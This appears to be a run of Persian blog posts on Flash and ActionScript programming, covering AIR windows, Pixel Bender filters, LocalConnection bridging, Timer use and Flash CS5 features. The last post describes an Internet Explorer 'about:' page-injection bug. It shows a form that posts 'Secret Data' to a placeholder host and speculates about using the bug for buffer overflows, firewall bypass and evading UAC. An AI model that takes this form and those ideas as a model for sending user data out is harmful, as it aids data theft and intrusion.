stage.nativeWindow.close(); var nwOptions:NativeWindowInitOptions = new NativeWindowInitOptions(); nwOptions.type = NativeWindowType.UTILITY; nwOptions.systemChrome = NativeWindowSystemChrome.NONE; nwOptions.transparent = true; var newWindow:NativeWindow = new NativeWindow(nwOptions); newWindow.stage.align = stage.align; newWindow.stage.scaleMode = stage.scaleMode; newWindow.stage.stageWidth = stage.stageWidth; newWindow.stage.stageHeight = stage.stageHeight; for (var i:int = 0; i < stage.numChildren; i++) { newWindow.stage.addChild(stage.getChildAt(i)); } newWindow.activate();
import flash.display.*; import flash.events.*; import flash.filters.*; var loader:URLLoader; var shader:Shader; var filter:ShaderFilter; slider_gp.visible = false; slider_r.visible = false; slider_g.visible = false; slider_b.visible = false; slider_gp.addEventListener(Event.CHANGE, onSlider); slider_r.addEventListener(Event.CHANGE, onSlider); slider_g.addEventListener(Event.CHANGE, onSlider); slider_b.addEventListener(Event.CHANGE, onSlider); loader = new URLLoader(); loader.dataFormat = URLLoaderDataFormat.BINARY; loader.addEventListener(Event.COMPLETE, onComplete); loader.load(new URLRequest("msh_FiltRGB.pbj")); function onComplete(e:Event) { shader = new Shader(loader.data); slider_gp.visible = true; slider_r.visible = true; slider_g.visible = true; slider_b.visible = true; } function onSlider(e:Event) { shader.data.grayPercent.value = [slider_gp.value]; shader.data.red.value = [slider_r.value]; shader.data.green.value = [slider_g.value]; shader.data.blue.value = [slider_b.value]; filter = new ShaderFilter(shader); img.filters = [filter]; }
<languageVersion : 1.0;> kernel FiltRGB < namespace : "com.mshams"; vendor : "www.mshams.ir"; version : 1; description : "first test."; > { input image4 src; output pixel4 dst; void evaluatePixel() { } }
parameter datatype paramName < minValue: n; maxValue: n; defaultValue: n; >;
parameter float red < minValue:1.0; maxValue:255.0; defaultValue:1.0; >; parameter float green < minValue:1.0; maxValue:255.0; defaultValue:1.0; >; parameter float blue < minValue:1.0; maxValue:255.0; defaultValue:1.0; >; parameter float grayPercent < minValue:0.0; maxValue:100.0; defaultValue:0.0; >;
pixel4 p = sampleNearest(src, outCoord()); float sum = (p.r * red + p.g * green + p.b * blue) / 3.0; float gp = sum * grayPercent / 100.0; p.r = p.r * red * (100.0 - grayPercent) /100.0 + gp; p.g = p.g * green * (100.0 - grayPercent) /100.0 + gp; p.b = p.b * blue * (100.0 - grayPercent) /100.0 + gp; dst = p;
<languageVersion : 1.0;> kernel NewFilterName < namespace : "Your Namespace"; vendor : "Your Vendor"; version : 1; description : "your description"; > { input image4 src; output pixel4 dst; void evaluatePixel() { dst = sampleNearest(src,outCoord()); } }
در هر صورت ایجاد یک چنین ارتباطی (عبور از دروازه زمان) در دو مرحله انجام میشود.
مرحله اول: ایجاد Server و ساخت LocalConnection در ActionScript 2
با استفاده از کلاس LocalConnection یک ارتباط محلی ایجاد کرده و نامی برای آن تعیین مینماییم. سپس دستورات مورد نیاز برای استفاده از کامپوننت یا فایل قدیمی را طراحی نموده و به صورت توابعی در ارتباط محلی قرار میدهیم:
var bridge:LocalConnection = new LocalConnection();
bridge.connect("ConnectionMutex");
bridge.command1 = function( param1, param2 ) {
// Receive parameters from AS3
// Send parameters to AS2
}
bridge.command2 = function( param1, param2 ) {
// Receive parameters from AS3
// Send parameters to AS2
}
مرحله دوم: ایجاد Client و فراخوانی دستورات در ActionScript 3
از آنجا که هدف ما از ایجاد این ارتباط، طراحی یک پروژه واحد بود، بهترین کار این است که ابتدا، فایل تولید شده در مرحله قبل را بارگذاری نموده و سپس به ایجاد ارتباط بپردازیم.
var bridgeLoader:Loader = new Loader();
var ready:Boolean = false;
bridgeLoader.contentLoaderInfo.addEventListener(Event.COMPLETE, completeHandler);
function completeHandler(e:Event) {
trace("Loaded. ");
ready = true;
}
if (ready) {
var bridge:LocalConnection=new LocalConnection();
bridge.addEventListener(StatusEvent.STATUS, errHandler);
function errHandler(e:StatusEvent) {
trace(e.level);
}
bridge.send("ConnectionMutex", "command1 ", param1Value, param2Value);
bridge.send("ConnectionMutex", "command2 ", param1Value, param2Value);
}
if (root.loaderInfo.url.indexOf("http:") < 0) {
trace("illegal use");
}
function f(...n:Array) { n.push(n[n.length-1].toString()); n.sort(); trace(n); }
Call: f(3, undefined, Object, 1, int, 2, void, "4", NaN, 0xff); Output: 1, 2, 255, 255, 3, 4, NaN, [class Object], [class int], ,
function f(...n:Array):Function { trace(">", n); return f; }
> 3 > 5 > 4, function Function() {} > 1, 2, function Function() {} > 6, 7 > function Function() {}, 8 > 9, 10
function f(...n:Array):Function { trace("=",n); return f; } function a(...n:Array):Function { trace("==",n); if (n[0] == "function Function() {}") { n[0](1)(2); } return a; } Call: a( a(1, 2), 3) ( f(1, 2, f(3) (4) ));
= 1, 2 = function Function() {}, 3 = 1 = 2 == 3 == 4 == 1, 2, function Function() {} = function Function() {} == 1 == 2
یکی از مشکلات مهم و قابل توجهای که در اکشن اسکریپت 2، موجب بروز سختیهایی در طراحی کلیپها میشد، عدم وجود یک Timer مستقل و انعطافپذیر و نیاز به استفاده از Interval ها بود.
این مشکل با ارائه کلاس مستقل تایمر (flash.util.Timer) در FlashPlayer 9 و با استفاده از AS3 حل شده است. با استفاده از این کلاس به سادگی میتوان زمان اجرای دستورات را زمانبندی نمود. منظور از زمانبندی این است که میتوان تعداد دفعات اجرا، بازه زمانی بین دفعات، زمان شروع و غیره را به سادگی مشخص کرد.
برای استفاده از این کلاس، کافی است که یک شئ از نوع آن تعریف نموده و سپس در متد سازنده آن، میزان تاخیر و تعداد دفعات اجرای مورد نیاز را مشخص نمود. پس از تعریف شئ، باید با استفاده از متد start تایمر را اجرا نمود.
به عنوان مثال:
import flash.utils.Timer;
import flash.events.TimerEvent;
var t:Timer = new Timer(2000,20);
t.start();
t.addEventListener(TimerEvent.TIMER,timTrig);
t.addEventListener(TimerEvent.TIMER_COMPLETE,timComp);
function timTrig(e:TimerEvent) {
trace("Trigger");
}
function timComp(e:TimerEvent) {
trace("Finish");
}
رویدادهای موجود برای این شئ، timer و timerComplete هستند که از اولی برای اجرای دستورات زمانبندی شده استفاده شده و دومی نیز در پایان اجرای تعداد دفعات مشخص شده، فعال خواهد شد.
خصوصیات مورد توجه آن هم delay و currentCount هستند. delay همان اندازه تاخیر بین دفعات اجراست که در زمان اجرا نیز قابل تغییر است. currentCount هم تعداد دفعاتی که تا کنون تایمر اجرا شده است را نشان خواهد داد.
یکی از موارد مورد علاقه من برای استفاده از شئ تایمر، نمایش جلوهها و افکتها به صورت تصادفی است. برای انجام این کار، کافی است مقدار delay تایمر را در زمان اجرای آن به مقداری تصادفی در بازه مورد نیاز تغییر دهید.
به عنوان مثال، اگر MyEff_mc یک Movieclip حاوی جلو مورد نظر و واقع بر روی Timeline اصلی باشد، برای اجرای تصادفی آن به صورت زیر عمل میشود:
import flash.utils.Timer;
import flash.events.TimerEvent;
var t:Timer = new Timer(5000,20);
t.start();
t.addEventListener(TimerEvent.TIMER,timTrig);
t.addEventListener(TimerEvent.TIMER_COMPLETE,timComp);
function timTrig(e:TimerEvent) {
trace("Delay:",e.currentTarget.delay);
e.currentTarget.delay = Math.floor(2500 + Math.random() * 5000);
Object(root).MyEff_mc.gotoAndPlay(1);
}
function timComp(e:TimerEvent) {
trace("Finish");
}
- کار با تمام منوها و پانلها سادهتر و سریعتر شده است. چرا که تمام editbox ها دارای قابلیت scroll و tick هستند و اندازه بعضی از کادرهای مزاحم کوچکتر شده است.
- پانل رنگها توسعه پیدا کرده و قابلیت کار به صورت HSB به آن اضافه شده است.
- ابزار Deco کاملا متحول شده و امکانات بسیار زیادی به آن اضافه شده است. برخی از روشهای ترسیم جالبی که هم اکنون با استفاده از Deco tool قابل دسترس هستند به شرح زیر است:
- با اضافه شدن قابلیت Spring به Bone System (قابلیت اتصال و استخوان بندی اشیاء)، میتوان حرکات فنری مانند، به اشیاء متصل به یکدیگر اعمال نمود.
- قابلیتText Layout Framework یا TLF امکان نوشتن متن پویا و ایستا، با استفاده از هر قلم یونیکد دلخواهی که Embed شده باشد را فراهم کرده است. با استفاده از آن به راحتی میتوان متنهای فارسی را به صورت RTL تایپ نمود. با اضافه شدن این تکنولوژی بسیار مفید، دیگر هیچ نیازی به کامپوننتهای فارسیساز فلش نیست.
ضمنا ابزارهای متنی قبلی (Static text و Dynamic text) هم هنوز تحت عنوان Classic Text قابل استفاده هستند. از نکات قابل توجه در مورد تایپ فارسی با این ابزار، این است که با هر قلمی که در برنامه Word بتوان نوشت، در این ابزار هم میتوان نوشت. (پس هیچ نگرانی در مورد فونتهای غیر استاندارد فارسی نداشته باشید)
- پانلهای جدیدی حاوی امکاناتی کامل، برای کار با متن و ستونبندی و کادر بندی آن اضافه شده است. (مانند InDesign) حتی میتوان textbox های جدا از هم را به گونهای به یکدیگر link نمود که، ادامه متن یکی، در دیگری نمایش داده شود.
- بالاخره امکان CodeHint برای لیست دستورات، اضافه شد. با استفاده از این قابلیت، در حین کدنویسی با ActionScript، تقریبا احساس مشابهی مانند کار در محیط VS.Net پیدا خواهید کرد.
- پانل CodeSnippets دارای قطعه کدهای آماده بسیار زیادی است که تنها با انتخاب یک MovieClip و دابلکلیک بر روی کد مربوطه، کد عملیات مورد نظر را در پانل Action، اضافه میکند. همچنین با وجود قابلیت اضافه کردن کدهای دلخواه، میتوانید پس از مدتی کتابخانه کاملی از تمام کدهای مورد علاقه خود جمعآوری نمایید.
- روش نمایش error ها تغییر کرده و دقیقتر شده است. (حداقل، پس از نوشتن کدی که به روشنی، غلط است، پیام خطای احمقانهای در کنسول دریافت نمیکنید)
- امکانات Debug توسعه پیدا کرده، اما هنوز به اندازه یک محیط توسعه واقعی، دلچسب نیست. در نتیجه همچنان کدنویسی با ActionScript به درد برنامهنویسان مبتدی نخواهد خورد. (یکی از مهمترین دلایل عدم علاقه بسیاری از برنامهنویسان به تکنولوژی فلش و مشتقات آن (مثلا AIR) ضعف عمده آنها در نوشتن کدهای صحیح و نیاز به debug پیدرپی است)
- قابلیتهای جدیدی برای Export و Import به محصولات دیگر Adobe.
- امکان تعریف CuePiont های متعدد برای ویدئوهای import شده و پرش به آنها با استفاده از AS.
- اضافه شدن یک extension بسیار مفید به نام Adobe Kuler برای کار با انواع رنگها، با قابلیتهایی مانند تعیین رنگهای سرد و گرم، مکمل، متضاد و غیره.
پ.ن: متاسفانه نسخه CS5 ای که اکنون منتشر شده است، فاقد مجموعه فایلهای Help بوده و فقط از قابلیت راهنمای CS Live پشتیبانی میکند. برای حل این مشکل میتوانید مجموعه فایلهای راهنما را از CS4 به مسیر مربوطه در CS5 منتقل کنید.
about:<body
bgcolor=#C5EBEB><h1>Hello my friend,<h2><a href= "http://www.mshams.ir">mshams.ir </a></body>
about:<form name="xform" enctype="multipart/form-data" method="POST"
action="http://mail.php"><input type="text" name="add"
size="40" value="Secret Data"><input type="text"
name="abc" size="40" value="***"><input
type="submit" value="Submit"></form>
همانطور که میبینید با استفاده از این باگ، هر صفحهای با هر محتوایی را میتوان به صورت داینامیک (OnTheFly) در IE درست کرد. (البته اندازه متن ورودی در پنجره RUN دارای محدودیتی است که به سادگی قابل عبور میباشد)
لازم به ذکر نیست که با استفاده از چنین باگی به سادگی میتوان مشکلاتی جدی برای IE و امنیت کاربران به وجود آورد. شخصا میتوانم کاربردهایی برای ایجاد BOF، اجرای انواع Script های غیر مجاز، ارسال اطلاعات با عبور از دیوار آتش، Spamming و ... برای این باگ متصور شوم.
بخش جالب داستان اینجاست که این باگ در ویندوز ویستا هم که ادعای امنیت آن گوش کاربران را کر کرده، وجود داشته و با استفاده از آن به راحتی میتوان Windows Defender، UAC،Windows Firewall و مابقی اهالی را حسابی شرمنده کرد.
پ.ن: از اینکه آیا این مشکل امنیتی در ویندوز هفت برطرف شده است یا خیر اطلاعی ندارم، اما با استناد به دو پاراگراف اول این نوشته، میتوان فرض کرد که هنوز برطرف نشده است.
پ.ن: تا کنون با تعدادی از این قبیل مشکلات امنیتی که همچنان در ویندوز ویستا، خودنمایی میکنند روبرو شدهام که احتمالا در آینده مطالبی در مورد آنها خواهم نگاشت.